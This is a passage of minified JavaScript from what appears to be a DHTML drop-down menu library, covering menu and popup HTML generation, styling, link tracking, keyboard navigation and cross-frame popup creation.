":"")+(_STNS.oNav.version>=5.5&&p1.iShadow&&p1.iSdSize?(p1.iShadow==1?"progid:DXImageTransform.Microsoft.dropshadow(color="+p1.sSdClr+",offx="+iSdSize+",offy="+iSdSize+",positive=1)":"progid:DXImageTransform.Microsoft.Shadow(color="+p1.sSdClr+",direction=135,strength="+iSdSize+")"):"")+";";}else{if(_STNS.oNav.name=="gecko"&&_STNS.oNav.version>=20060414){fs=p1.iOpac<100&&iOpac>-1?"-moz-opacity:"+p1.iOpac/100+";":"";}}}s+="<tr "+m.fsGetStyle("tr",0)+">"+"<td id='"+sUid+"_tb2' "+m.fsGetStyle("td",0,(m.bTab?fs:"")+("height:"+m.iTabHei+"px;")+(p1?(p1.iBdStyle>0&&p1.iBdWid>0?"border-width:"+p1.iBdWid+"px"+";border-style:"+_r.UI.CUIMenu.BORDERS[p1.iBdStyle]+";border-color:"+p1.sBdClr+";":"")+((p1.sBgClr?"background-color:"+p1.sBgClr+";":"")+(p1.sBgImg?"background-image:url("+p1.sBgImg+");background-repeat:"+_r.UI.CUIMenu.REPEATS[p1.iBgRep]+";":"")):""))+">"+"<div style=\"visibility:hidden;font-size:1pt;line-height:1pt;\">1<div></td>"+"</tr>";s+="</table>";return s;}}else{return this.aPopups[0].fsGetHTML();}}return "";};CUIMenu.fsGetImg=function(s){if(!s){return "";}if(!_STNS.fbIsAbsPth(s)){s=this.sImgPth+s;}if((s.charAt(0)=="/")&&_STNS.bLocal&&this.sSiteRoot){s=this.sSiteRoot+s;}if(s&&_STNS.bBufImg){var p=_STNS.fsGetAbsPth(s);if(!_STNS.oImgs[p]){_STNS.oImgs[p]=1;}}return s;};CUIMenu.fsGetLnk=function(l){if(!_STNS.fbIsAbsPth(l)){l=this.sLnkPre+l;}if((l.charAt(0)=="/")&&_STNS.bLocal&&this.sSiteRoot){l=this.sSiteRoot+l;}if(!l.toLowerCase().indexOf("javascript:")){l+=";void(0)";}l=_STNS.fsGetAbsPth(l);return l;};CUIMenu.fvDestroy=function(){for(var i=0;i<this.aPopups.length;i++){this.aPopups[i].fvDestroy();}_STNS.UI.CUIObj.fvDestroy.call(this);};CUIMenu.fnGsp=function(d){if(d<5){return d;}return Math.round(d/2);};CUIMenu.fvMvto=function(xy,p){var w=p.iStat&_STNS.UI.CUIPopup.CROSSFRAME?this.fdmGetTarFm():window,l=_STNS.fdmGetEleById(p.sUid+"_dv",w);if(l){l.style.left=xy[0]+"px";l.style.top=xy[1]+"px";}};CUIMenu.fvSsc=function(){if(typeof (this.fvMvto)=="undefined"||!_STNS.bLoaded){return;}var m=this;var e,p=m.aPopups[0],xy=[eval(m.iX),eval(m.iY)],xs,ys;e=_STNS.fdmGetEleById(p.sUid);var pos=_STNS.faGetElePos(e);var dx=xy[0]-pos[0],dy=xy[1]-pos[1];if(dx||dy){xs=this.fnGsp(Math.abs(dx));ys=this.fnGsp(Math.abs(dy));var x=dx>0?pos[0]+xs:pos[0]-xs,y=dy>0?pos[1]+ys:pos[1]-ys;this.fvMvto([x,y],p);}};CUIMenu.fbShow=function(){_STNS.fvLoadLib();if(_STNS.bLoaded){var o=document.body,w="beforeEnd";_STNS.fbInsHTML(o,w,this.fsGetHTML());this.aPopups[0].fbInit();this.aPopups[0].fbShow();}else{if(STM_BIMG){_STNS.fvBufImgs();}if(this.iTracks&&(!this.iTyp||this.iTyp==1)){_STNS.fvAddCk(new Function(this.sSelf+".fbTrack()"));}if(!this.iTyp){var s="<script type='text/javascript' language='javascript1.2'>"+this.aPopups[0].sSelf+".fbShow();"+this.aPopups[0].sSelf+".fbInit();</script>";document.write(this.fsGetHTML()+s);if(this.bTab){this.foInsTab();}}else{if(this.iTyp==1){var t=this,p=this.aPopups[0];if(isNaN(this.iX)||isNaN(this.iY)){_STNS.fvAddCk(new Function(this.sSelf+".fvSsc()"));}else{var pos=p.faGetXY();t.iX=pos[0];t.iY=pos[1];}p.fbShow();}else{if(this.iTyp==3){var t=this,p=this.aPopups[0];document.oncontextmenu=function(e){var s,pos;if(!e){e=window.event;pos=_STNS.faCP2PP([e.clientX,e.clientY]);}else{pos=[e.pageX,e.pageY];}t.iX=pos[0];t.iY=pos[1];p.fbHide();p.fbShow();p.fbHide(t.iDelayHd);return false;};}}}}};CUIMenu.fsGetImgTag=function(s,w,h,b,id,f,nw,nh){if(!s){s=this.sBlank;}if(f){s=_STNS.fsGetAbsPth(s);}if(!s||!w||!h){return "";}if(nw&&nh){if(w==-1&&h==-1){w=nw,h=nh;}else{if(w==-1&&h!=-1){w=Math.floor(nw*h/nh);}else{if(w!=-1&&h==-1){h=Math.floor(nh*w/nw);}}}}return "<img class='stimg' "+(_STNS.bIsFX?"style=\"-moz-outline-style:none;\"":"")+" src=\""+s+"\""+(w==-1?"":" width="+w)+(h==-1?"":" height="+h)+" border="+(b?b:0)+(id?" id='"+id+"'":"")+">";};CUIMenu.fsGetEnt=function(o,t,n,f){var sfm="";if(f){var sfm=this.fsGetSrcFm();if(sfm){sfm+=".";}else{sfm="";}}return _STNS.UI.fsGetEnt(o,t,n,sfm);};CUIMenu.fsGetStyle=function(t,f,c){var s="",_r=_STNS;if(!f&&_r.bShield){if(_r.oDefCSS[t]){s="class='st"+t+"'";}if(c){s+=" style=\""+c+"\"";}}else{if(!c&&_r.oDefCSS[t]){s="style=\""+_r.oDefCSS[t]+"\"";}else{if(_r.oDefCSS[t]){s="style=\"";var a=_r.foCss2Obj(c),b=_r.foCss2Obj(_r.oDefCSS[t]);for(var i in b){if(typeof a[i]=="undefined"){a[i]=b[i];}}s+=_r.fsObj2Css(a);s+="\"";}}}return s;};CUIMenu.fsGetSrcFm=function(){var s="",a=this.sSrcFm?("parent."+this.sTarFm).split("."):this.sTarFm.split("."),n=[],f=0;for(var j=0;j<a.length;j++){s+=a[j];if(a[j]!="parent"){if(a[j]=="window"){continue;}if(!f){if(n.length){n[n.length-1]="parent";}f=1;}n.push("parent");}else{n.push(eval(s).name);}s+=".";}s="";for(var j=n.length-2;j>=0;j--){s+=n[j]+".";}if(this.sSrcFm){s+=this.sSrcFm;}else{s+="parent";}return s;};CUIMenu.fdmGetTarFm=function(){var j,s=this.sSrcFm?"parent."+this.sTarFm:this.sTarFm,w;try{w=eval(s);return w;}catch(e){return;}};CUIMenu.fbTrack=function(){var _r=_STNS,_c=_r.UI.CUIMenu,is={},ps=[],_ic=_r.UI.CUIItem,d=0,it,ts=[];if(this.iDelayTk>0){this.iDelayTk-=_r.nCkTime;return false;}if(this.iStat&_c.MOUSEOVER){return false;}if(this.oFocus){return false;}var c=this.iTracks&33554432;if(this.bTab){if(this.bHL){this.bHL=0;}for(var i=0;i<this.aPopups.length;i++){for(var j=0;j<this.aPopups[i].aItems.length;j++){var n=this.aPopups[i].aItems[j];if(n._sTLnk&&n._sTLnk!="#_nolink"){if(this.fbCkLnk(n._sTLnk,n.sTar,c,window)){this.bHL=1;is[n.sUid]=n;ps[i]=1;if(i==0&&n.oSubPopup){for(var k=0;k<n.oSubPopup.aItems.length;k++){var nn=n.oSubPopup.aItems[k];if(nn._sTLnk&&nn._sTLnk!="#_nolink"&&this.fbCkLnk(nn._sTLnk,nn.sTar,c,window)){is[nn.sUid]=nn;ps[n.oSubPopup.iNid]=1;break;}}}break;}}}if(this.bHL){break;}}if(!this.bHL){return false;}}if(!this.bTab){for(var i=0;i<this.aPopups.length;i++){for(var j=0;j<this.aPopups[i].aItems.length;j++){it=this.aPopups[i].aItems[j];if(it._sTLnk&&it._sTLnk!="#_nolink"&&this.fbCkLnk(it._sTLnk,it.sTar,c,window)){is[it.sUid]=it;ps[i]=1;}}}}if(this.iTracks&16777216){for(var i in is){is[i].sLnk="#_nolink";is[i].fbSetCursor(this.aCursors[0]);}}if(this.iTracks&67108864){for(var i in is){it=is[i];while(it){ts.push(it);it=it.oParPopup.oParItem;}}for(var i=0;i<ts.length;i++){if(!is[ts[i].sUid]){is[ts[i].sUid]=ts[i];}}}for(var i in this.oTracks){if(!is[i]){if((this.iTracks&16777216)&&this.oTracks[i]._sTLnk&&this.oTracks[i]._sTLnk!="#_nolink"){this.oTracks[i].sLnk=this.oTracks[i]._sTLnk;this.oTracks[i].fbSetCursor(this.aCursors[1]);}this.oTracks[i].fbUpDate(this.oTracks[i].iStat&(_ic.MAXSTATE-this.TRACK_STYLE-_ic.TRACK));delete this.oTracks[i];}}if(this.bTab){if(this.oSel){this.oSel.fbSetOut();if(this.oSel.oParPopup&&this.oSel.oParPopup.oParItem){this.oSel.oParPopup.oParItem.fbSetOut();}}}for(var i in is){if(this.bTab&&is[i].oSubPopup){if(!(is[i].oSubPopup.iStat&_r.UI.CUIPopup.SHOW)){is[i].oSubPopup.fbShow();}}if(is[i].iStat&_ic.TRACK){continue;}is[i].fbUpDate(is[i].iStat|_ic.TRACK_STYLE|_ic.TRACK);if(this.bTab){for(var k=0;k<this.aPopups[0].aItems.length;k++){var pp=this.aPopups[0].aItems[k].oSubPopup;if(pp&&is[i].fbRotItem()!=this.aPopups[0].aItems[k].fbRotItem()){pp.fbHide();}}this.oSel=is[i];is[i].fbSetOver();}this.oTracks[i]=is[i];}if(this.iTracks&134217728){for(var i=this.aPopups.length-1;i>0;i--){if(ps[i]&&this.aPopups[i].oParPopup){ps[this.aPopups[i].oParPopup.iNid]=1;}else{if(typeof ps[i]=="undefined"){ps[i]=0;}}}for(var i=1;i<ps.length;i++){if(ps[i]&&(!(this.iTracks&268435456)||(this.iTracks&268435456)&&this.aPopups[i].iDepth<this.iTrackLevel)){if(!(this.aPopups[i].iStat&_STNS.UI.CUIPopup.SHOW)){this.aPopups[i].fbShow(d);d+=(this.aPopups[i].sShEff?this.aPopups[i].iEffDur:0)+300;}}else{if(this.aPopups[i].iStat&_STNS.UI.CUIPopup.SHOW){this.aPopups[i].fbHide();}}}this.iDelayTk=d+1000;}};CUIMenu.fbCkLnk=function(h,t,c,w){if(!t){w=w;}else{if(t=="_self"){w=w;}else{if(t=="_parent"){w=w.parent;}else{if(t=="_top"){w=w.top;}else{if(w.frames[t]){w=w.frames[t];}else{if(w.parent.frames[t]){w=w.parent.frames[t];}else{return false;}}}}}}var u=w.location.href;if(!c){u=u.toLowerCase();h=h.toLowerCase();}return u&&h&&(u==h||u==h+"/"||u==h+"#"||STM_ILINK&&u==h.substr(0,Math.max(0,h.indexOf("?")))||STM_ILOC&&h==u.substr(0,Math.max(0,u.indexOf("?"))));};CUIMenu.foInsTab=function(){var p=this.aPopups[0];for(var i=0;i<p.aItems.length;i++){if(typeof p.aItems[i].sTxt!="undefined"){var pi=p.aItems[i];if(pi){pi.fbSetOver();if(pi.oSubPopup){pi.oSubPopup.fbShow();}return true;}}}};CUIMenu.fbDelPopup=function(p){};CUIMenu.fbClick=function(_7b){for(var k=0;k<_STNS._aStMenus.length;k++){var m=_STNS._aStMenus[k];if(m.bTab){m.oFocus=0;continue;}if(!(m.iStat&_STNS.UI.CUIMenu.MOUSEOVER)){var o=m.oFocus;if(o){o.fbFireEnt("mouseout");if(_STNS.UI.CUICanvas){return;}var p=o.oParPopup,pp=o,d=p.iDepth;if(d>=1){for(var i=d;i>0;i--){pp=pp.oParPopup;pp.fbHide();}}var ri=o.fbRotItem(),si=ri.oSubPopup;if(si){si.fbHide();}ri.fbFireEnt("mouseout");m.oFocus=0;}}}};CUIMenu.fbKeydown=function(_85){var e=_85?_85:window.event;if(e.altKey&&e.keyCode==113){if(typeof (_STNS.index)=="undefined"){_STNS.index=0;}else{if(_STNS.index<_STNS._aStMenus.length-1){_STNS.index++;}else{_STNS.index=0;}}var x=_STNS.index,_r=_STNS,m=_r._aStMenus[x],p=m.aPopups[0],o=m.oFocus;m.bRunEff=false;m.fbClick();if(o){o.fbFireEnt("mouseout");}if(m.iClk&1){m.bClked=true;}if(m.bTab){if(m.oSel){m.oSel.fbFireEnt("mouseover");m.oSel.fbSetfs();m.oFocus=m.oSel;}m.bRunEff=true;return;}for(var j=0;j<p.aItems.length;j++){if(typeof p.aItems[j].sTxt!="undefined"){var i=p.aItems[j];break;}}if(i){if(i.oSubPopup){i.oSubPopup.fbHide();}if(!_STNS.UI.CUICanvas){i.fbSetOver();if(i.oSubPopup){i.oSubPopup.fbShow();}}i.fbSetfs();}if(_STNS.UI.CUICanvas&&m.oFocus){m.oFocus.fbSetfs();m.oFocus.fbFireEnt("mousedown",8);}m.bRunEff=true;}};_STNS.UI.CUIPopup=_STNS.Class(_STNS.UI.CUIObj);CUIPopup.register("UI/CUIObj>CUIPopup");CUIPopup.construct=function(){this._tTid=0;this.iTyp=0;this.iNid=-1;this.aItems=[];this.sId=0;this.iDirect=1;this.iWid=-1;this.iHei=-1;this.iOffX=0;this.iOffY=0;this.iSpace=0;this.iPad=0;this.sBgClr="";this.sBgImg="";this.iBgRep=0;this.iBdStyle=0;this.iBdWid=0;this.sBdClr="";this.iZid=1000;this.iStat=0;this.oParItem=0;this.oParMenu=0;this.oParPopup=0;this.iHal=0;this.iDepth=0;this.iOpac=100;this.iShadow=0;this.iSdSize=0;this.sSdClr="";this.iEffDur=0;this.bShInit=false;this.bHdInit=false;this.sShEff=0;this.iShEff=-1;this.sHdEff=0;this.iHdEff=-1;this.iShEffect=0;this.iHdEffect=0;this.aRounds=[];this.aRWids=[];this.aRHeis=[];this.aRdb=[];this.aRBgClrs=[];this.aRBgImgs=[];this.aRBgReps=[];this.aCorners=[];this.aCorWHs=[];this.aScBars=[];this.iMaxSize=-1;this.iScr=0;this.bflg=true;this.bMul=false;this.iMl=2;this.sMBgClrs="#000000";this.sMOpc=0;this.iMSpc=1;this.sMBgImgs="";this.sMBgReps="no-repeat";with(_STNS.UI.CUIPopup){this.fsGetHTML=fsGetHTML;this.fbGetEnt=fbGetEnt;this.fbSetOver=fbSetOver;this.fbSetOut=fbSetOut;this.fbCreate=fbCreate;this.fbInit=fbInit;this.fbShow=fbShow;this.fbShowX=fbShowX;this.fbHide=fbHide;this.fbHideX=fbHideX;this.fbOnShow=fbOnShow;this.fbOnHide=fbOnHide;this.faGetXY=faGetXY;this.foInsItem=foInsItem;this.fbDelItem=fbDelItem;this.fvDestroy=fvDestroy;this.faGetSwh=faGetSwh;this.fvScr=fvScr;this.fvClearScr=fvClearScr;this.fbCheckClkSet=fbCheckClkSet;this.fvHdWels=fvHdWels;this.fvShWels=fvShWels;this.fvWtag=fvWtag;this.fbWover=fbWover;}};CUIPopup.CROSSFRAME=1;CUIPopup.SHOW=2;CUIPopup.MOUSEOVER=4;with(CUIPopup){CUIPopup.MAXSTATE=CROSSFRAME|SHOW|MOUSEOVER;}CUIPopup.VERTICAL=1;CUIPopup.STATIC=2;CUIPopup.DIRECTION_LEFT=1;CUIPopup.DIRECTION_RIGHT=2;CUIPopup.DIRECTION_UPLEFT=3;CUIPopup.DIRECTION_DOWNLEFT=4;CUIPopup.DIRECTION_UPRIGHT=5;CUIPopup.DIRECTION_DOWNRIGHT=6;CUIPopup.fsGetHTML=function(){var _r=_STNS,_c=_r.UI.CUIPopup,m=this.oParMenu,_mc=_r.UI.CUIMenu,s="",scs,its,cf=this.iStat&_c.CROSSFRAME,fs="",v=this.iTyp&_c.VERTICAL,sc=this.aScBars.length?this.aScBars:m.aScBars,_99=m.iWid&&!this.iNid&&!v;with(this){var _9a=_9b=isAllSW=0,_9c,_9d=_r.bIsSF&&this.bMul;for(var i=0;i<aItems.length;i++){if(aItems[i].iWid&&aItems[i].iWid!=-1){_9a++;}}_9b=aItems.length-_9a;if(_9b){_9c=Math.ceil(100/_9b)+"%";}isAllSW=_9a==aItems.length;if(this.bMul){_9d?this.tr=[]:"";var _9f=bMul?v?1:0:0,_a0=bMul?!v?1:0:0,_ml=iMl,_a2=iMSpc,_a3=aItems.length,_a4=Math.ceil(aItems.length/_ml),_a5=Math.floor(aItems.length/_ml),_a6=_a4==_a5?0:aItems.length%_ml,_a7=aItems.length<_ml?aItems.length:_ml;}if(_a0){var _9b=0,_9c,a=[];for(var i=0;i<_a7;i++){var per=false;for(var j=i;j<=(i+1+_a7*(_a4-1));j+=_a7){if(aItems[j]){if(aItems[j].iWid!="100%"){per=true;break;}}}if(!per){_9b++;a.push(i);}}if(_9b){_9c=Math.ceil(100/_9b)+"%";}}its="<table cellpadding=0 cellspacing="+iSpace+(!this.iNid&&m.iHal?" align='"+_mc.ALIGNS[m.iHal]:"")+"' id='"+sUid+"_body' "+m.fsGetStyle("tb",cf,(m.bTab&&iDepth>0?_r.bIsOP&&_r.oNav.version>=9.5?m.iTabHei?"height:"+m.iTabHei+"px;":"":"height:100%;":"")+(_99?bMul?_9b?"width:100%;":"":isAllSW?"":"width:100%;":""))+">";if(_a0){var _tc=0;for(var c=0;c<_a4;c++){its+="<tr "+m.fsGetStyle("tr",cf)+">";for(var j=_tc;j<_tc+_a7;j++){if(_a3>0){if(!c){var ad=false;for(var t=0;t<a.length;t++){j==a[t]?ad=true:"";}}its+="<td "+(_9d?"id='"+sUid+"_td"+aItems[j].iNid+"' ":"")+(typeof (aItems[j].sTxt)=="undefined"?"align=center ":"align=left")+m.fsGetStyle("td",cf,((aItems[j].iWid&&aItems[j].iWid!=-1&&aItems[j].iWid!="100%"&&!aItems[j].iTyp&&typeof (aItems[j].sTxt)!="undefined")?"width:1px;":!c?ad&&_99?"width:"+_9c+";":"":""))+" valign='middle'>"+aItems[j].fsGetHTML()+"</td>";if(_9d){if(!this.tr[c]){this.tr[c]=[];}this.tr[c].push(aItems[j].iNid);}_a3--;}}_tc=_tc+_a7;its+="</tr>";_a3>0&&_a2>0?its+="<tr "+m.fsGetStyle("tr",cf)+"><td colspan="+_a7+" style=\""+(sMBgClrs?"background-color:"+sMBgClrs+";":"")+"background-image:url("+(cf?_r.fsGetAbsPth(sMBgImgs):sMBgImgs)+");background-repeat:"+sMBgReps+";background-position:center;height:"+_a2+"px"+"\"></td></tr>":"";}}else{if(_9f){var _af=_r.bIsFX&&_r.oNav.version<=20021130;_tprs=_a4==_a5?0:aItems.length%_ml;for(var c=0;c<_a7;c++){its+="<tr "+m.fsGetStyle("tr",cf)+">";var _b0=0;for(var j=0;j<(_a6==0?_a4:_tprs>0?_a4:_a5);j++){if(_a3>0){_b0=j==0?c:_b0+_a7;its+="<td "+(_9d?"id='"+sUid+"_td"+aItems[_b0].iNid+"' ":"")+m.fsGetStyle("td",cf,(aItems[_b0].iWid&&aItems[_b0].iWid!=-1&&aItems[_b0].iWid!="100%"?"width:1px;":""))+" valign='middle'>"+aItems[_b0].fsGetHTML()+"</td>";if(_9d){if(!this.tr[c]){this.tr[c]=[];}this.tr[c].push(aItems[_b0].iNid);}_a3--;}c==0&&j<_a4-1&&_a2>0?(its+="<td rowspan="+_a7+" style=\""+(sMBgClrs?"background-color:"+sMBgClrs+";":"")+"background-image:url("+(cf?_r.fsGetAbsPth(sMBgImgs):sMBgImgs)+");background-repeat:"+sMBgReps+";background-position:center;\"><div style='width:"+_a2+"px;'></div></td>"):"";}_tprs>0?_tprs--:"";its+="</tr>";}}else{for(var j=0;j<aItems.length;j++){if(_99){its+=(v?"<tr "+m.fsGetStyle("tr",cf)+">":"")+"<td "+m.fsGetStyle("td",cf,(aItems[j].iWid&&aItems[j].iWid!=-1?"":"width:"+_9c+";"))+">"+aItems[j].fsGetHTML()+"</td>"+(v?"</tr>":"");}else{its+=(v?"<tr "+m.fsGetStyle("tr",cf)+">":"")+"<td "+m.fsGetStyle("td",cf)+">"+aItems[j].fsGetHTML()+"</td>"+(v?"</tr>":"");}}}}its+="</table>";scs=sc[0]&&sc[1]?("<table cellpadding=0 cellspacing=0 "+"id='"+sUid+"_scfm' "+m.fsGetStyle("tb",cf)+">"+(v?"<tr "+m.fsGetStyle("tr",cf)+">":"")+"<td id='"+sUid+"_sc0' "+m.fsGetStyle("td",cf)+">"+sc[0].fsGetHTML()+"</td>"+(v?"</tr>":"")+"<td "+m.fsGetStyle("td",cf,"valign:middle;")+">"+"<div id='"+sUid+"_scc' "+m.fsGetStyle("dv",cf)+">"+its+"</div>"+"</td>"+(v?"<tr "+m.fsGetStyle("tr",cf)+">":"")+"<td id='"+sUid+"_sc1' "+m.fsGetStyle("td",cf)+">"+sc[1].fsGetHTML()+"</td>"+(v?"</tr>":"")+"</table>"):its;if(_STNS.bIsIE&&(iOpac<100&&iOpac>-1||_STNS.oNav.version>=5.5&&iShadow&&iSdSize)){fs="filter:"+(iOpac<100&&iOpac>-1?"Alpha(opacity="+iOpac+") ":"")+(_STNS.oNav.version>=5.5&&iShadow&&iSdSize?(iShadow==1?"progid:DXImageTransform.Microsoft.dropshadow(color="+sSdClr+",offx="+iSdSize+",offy="+iSdSize+",positive=1)":"progid:DXImageTransform.Microsoft.Shadow(color="+sSdClr+",direction=135,strength="+iSdSize+")"):"")+";";}else{if(_STNS.oNav.name=="gecko"&&_STNS.oNav.version>=20060414){fs=iOpac<100&&iOpac>-1?"-moz-opacity:"+iOpac/100+";":"";}}s+=(iTyp&_c.STATIC?"":"<div "+"id='"+sUid+"_dv' "+m.fsGetStyle("dv",cf,"visibility:hidden;"+((!m.bTab?"position:absolute;":"")+(m.bTab?"width:100%;":"")+"left:0px;"+"top:-9999px;"+"z-index:"+iZid+";"))+">")+"<table cellpadding=0 cellspacing=0"+" id='"+sUid+"' "+m.fsGetStyle("tb",cf,(!m.bTab||(m.bTab&&iDepth==0)?fs:"")+(((iTyp&_c.STATIC)&&!(_r.bIsOP&&_r.oNav.version<9))?"visibility:hidden;":"")+(!m.bTab||(m.bTab&&iDepth==0)?(iBdStyle>0&&iBdWid>0?"border-width:"+iBdWid+"px;border-style:"+_mc.BORDERS[iBdStyle]+";border-color:"+sBdClr+";":""):"")+(m.bTab?"width:100%;height:100%;":(!m.iTyp&&iWid&&iWid!=-1?"width:"+_r.fsGetLen("tb",iWid,0,iBdStyle>0&&iBdWid>0?iBdWid:0,1)+";":"")+(!m.iTyp&&iHei&&iHei!=-1?"height:"+_r.fsGetLen("tb",iHei,0,iBdStyle>0&&iBdWid>0?iBdWid:0,1,0)+";":"")))+" "+(!m.iTyp&&!this.iNid&&m.iHal?"align="+_mc.ALIGNS[m.iHal]:"")+" "+m.fsGetEnt(this,"mouseover","",cf)+" "+m.fsGetEnt(this,"mouseout","",cf)+">"+(aRHeis[0]&&aRHeis[0]!=-1||(aRHeis[0]==-1&&(aCorners[0]||aCorners[1]||aRounds[0]))?"<tr "+m.fsGetStyle("tr",cf)+">"+(aRWids[3]&&aRWids[3]!=-1||(aRWids[3]==-1&&(aCorners[0]||aCorners[3]||aRounds[3]))?"<td "+m.fsGetStyle("td",cf,"font-size:1px;"+(aRWids[3]&&aRWids[3]!=-1?"width:"+_r.fsGetLen("td",aRWids[3])+";":"width:1px;")+(aRHeis[0]&&aRHeis[0]!=-1?"height:"+_r.fsGetLen("td",aRHeis[0],0,0,1,0)+";":""))+">"+m.fsGetImgTag(aCorners[0],aRWids[3],aRHeis[0],0,null,cf,aCorWHs[0],aCorWHs[1])+"</td>":"")+"<td id='"+sUid+"d0' "+m.fsGetStyle("td",cf,"font-size:1px;"+(aRBgClrs[0]?"background-color:"+aRBgClrs[0]+";":"")+(aRBgImgs[0]?"background-image:url("+(cf?_r.fsGetAbsPth(aRBgImgs[0]):aRBgImgs[0])+");background-repeat:"+_mc.REPEATS[aRBgReps[0]]:""))+">"+m.fsGetImgTag(aRounds[0],aRWids[0],aRHeis[0],0,null,cf)+"</td>"+(aRWids[1]&&aRWids[1]!=-1||(aRWids[1]==-1&&(aCorners[1]||aCorners[2]||aRounds[1]))?"<td "+m.fsGetStyle("td",cf,"font-size:1px;"+(aRWids[1]&&aRWids[1]!=-1?"width:"+_r.fsGetLen("td",aRWids[1])+";":"width:1px;")+(aRHeis[0]&&aRHeis[0]!=-1?"height:"+_r.fsGetLen("td",aRHeis[0],0,0,1,0)+";":""))+">"+m.fsGetImgTag(aCorners[1],aRWids[1],aRHeis[0],0,null,cf,aCorWHs[2],aCorWHs[3])+"</td>":"")+"</tr>":"")+"<tr "+m.fsGetStyle("tr",cf)+">"+(aRWids[3]&&aRWids[3]!=-1||(aRWids[3]==-1&&(aCorners[0]||aCorners[3]||aRounds[3]))?"<td id='"+sUid+"d3' "+m.fsGetStyle("td",cf,"width:1px;font-size:1px;"+(aRBgClrs[3]?"background-color:"+aRBgClrs[3]+";":"")+(aRBgImgs[3]?"background-image:url("+(cf?_r.fsGetAbsPth(aRBgImgs[3]):aRBgImgs[3])+");background-repeat:"+_mc.REPEATS[aRBgReps[3]]:""))+">"+m.fsGetImgTag(aRounds[3],aRWids[3],aRHeis[3],0,null,cf)+"</td>":"")+"<td "+m.fsGetStyle("td",cf,(_99&&_STNS.bIsOP&&_STNS.oNav.version<=7.54?"width:100%;":"")+(m.iTab&&iDepth>0&&m.iTabHei?"height:"+(m.iTabHei-2*m.aPopups[1].iBdWid)+"px;":"")+(!m.iTab||(m.iTab&&iDepth==0)?((sBgClr?"background-color:"+sBgClr+";":"")+(sBgImg?"background-image:url("+(cf?_r.fsGetAbsPth(sBgImg):sBgImg)+");background-repeat:"+_mc.REPEATS[iBgRep]+";":"")):""))+">"+scs+"</td>"+(aRWids[1]&&aRWids[1]!=-1||(aRWids[1]==-1&&(aCorners[1]||aCorners[2]||aRounds[1]))?"<td id='"+sUid+"d1' "+m.fsGetStyle("td",cf,"width:1px;font-size:1px;"+(aRBgClrs[1]?"background-color:"+aRBgClrs[1]+";":"")+(aRBgImgs[1]?"background-image:url("+(cf?_r.fsGetAbsPth(aRBgImgs[1]):aRBgImgs[1])+");background-repeat:"+_mc.REPEATS[aRBgReps[1]]:""))+">"+m.fsGetImgTag(aRounds[1],aRWids[1],aRHeis[1],0,null,cf)+"</td>":"")+"</tr>"+(aRHeis[2]&&aRHeis[2]!=-1||(aRHeis[2]==-1&&(aCorners[3]||aCorners[2]||aRounds[2]))?"<tr "+m.fsGetStyle("tr",cf)+">"+(aRWids[3]&&aRWids[3]!=-1||(aRWids[3]==-1&&(aCorners[0]||aCorners[3]||aRounds[3]))?"<td "+m.fsGetStyle("td",cf,"font-size:1px;"+(aRWids[3]&&aRWids[3]!=-1?"width:"+_r.fsGetLen("td",aRWids[3])+";":"width:1px;")+(aRHeis[2]&&aRHeis[2]!=-1?"height:"+_r.fsGetLen("td",aRHeis[2],0,0,1,0)+";":""))+">"+m.fsGetImgTag(aCorners[3],aRWids[3],aRHeis[2],0,null,cf,aCorWHs[6],aCorWHs[7])+"</td>":"")+"<td id='"+sUid+"d2' "+m.fsGetStyle("td",cf,"font-size:1px;"+(aRBgClrs[2]?"background-color:"+aRBgClrs[2]+";":"")+(aRBgImgs[2]?"background-image:url("+(cf?_r.fsGetAbsPth(aRBgImgs[2]):aRBgImgs[2])+");background-repeat:"+_mc.REPEATS[aRBgReps[2]]:""))+">"+m.fsGetImgTag(aRounds[2],aRWids[2],aRHeis[2],0,null,cf)+"</td>"+(aRWids[1]&&aRWids[1]!=-1||(aRWids[1]==-1&&(aCorners[1]||aCorners[2]||aRounds[1]))?"<td "+m.fsGetStyle("td",cf,"font-size:1px;"+(aRWids[1]&&aRWids[1]!=-1?"width:"+_r.fsGetLen("td",aRWids[1])+";":"width:1px;")+(aRHeis[2]&&aRHeis[2]!=-1?"height:"+_r.fsGetLen("td",aRHeis[2],0,0,1,0)+";":""))+">"+m.fsGetImgTag(aCorners[2],aRWids[1],aRHeis[2],0,null,cf,aCorWHs[4],aCorWHs[5])+"</td>":"")+"</tr>":"")+"</table>"+(iTyp&_c.STATIC?m.iHal==2&&(_r.bIsIE||_r.bIsOP)?"<br clear='both'/>":"":"</div>"+(!m.bTab&&m.bWe?"<iframe id="+sUid+"_iframe"+" style='position:absolute;left:0px;top:-9999px;width:1px;height:1px;z-index:999;filter:Alpha(opacity=0)'></iframe>":""));}return s;};CUIPopup.fbGetEnt=function(e,o){var et=e.type||e,oid=o.id,_r=_STNS,_c=_r.UI.CUIPopup;with(this){switch(et){case "mouseover":if(!o._ov&&((_r.bIsIE&&e.srcElement&&_r.fbIsPar(o,e.srcElement))||(!_r.bIsIE&&e.target&&_r.fbIsPar(o,e.target)))){o._ov=1;this.iStat|=_c.MOUSEOVER;return fbFireEnt("mouseover");}break;case "mouseout":if(o._ov&&((_r.bIsIE&&(!e.toElement||!_r.fbIsPar(o,e.toElement)))||!_r.bIsIE&&(!e.relatedTarget||!_r.fbIsPar(o,e.relatedTarget)))){o._ov=0;this.iStat&=_c.MAXSTATE-_c.MOUSEOVER;return fbFireEnt("mouseout");}break;case "keydown":return fbFireEnt("keydown",e.keyCode);default:return fbFireEnt(et);}}return true;};CUIPopup.fvDestroy=function(){for(var i=0;i<this.aItems.length;i++){this.aItems[i].fvDestroy();}_STNS.UI.CUIObj.fvDestroy.call(this);};CUIPopup.fbCreate=function(w){if(!w){w=window;}var s,d=w.document,_c=_STNS.UI.CUIPopup;try{if(w!=window){this.iStat|=_c.CROSSFRAME;for(var i=0;i<this.aItems.length;i++){this.aItems[i].iStat|=this.aItems[i].getClass().CROSSFRAME;}for(var j=0;j<this.aScBars.length;j++){this.aScBars[j].iStat|=_STNS.UI.CUIItem.CROSSFRAME;}}if(this.oParMenu.bTab){var tb2=_STNS.fdmGetEleById(this.oParPopup.sUid+"_tb2",w);tb2.innerHTML=this.fsGetHTML();}else{_STNS.fbInsHTML(d.body,"afterBegin",this.fsGetHTML());}return true;}catch(e){if(w!=window){this.iStat&=_c.MAXSTATE-_c.CROSSFRAME;for(var i=0;i<this.aItems.length;i++){this.aItems[i].iStat&=_STNS.UI.CUIItem.MAXSTATE-_STNS.UI.CUIItem.CROSSFRAME;}}return false;}};CUIPopup.fbShow=function(d){var 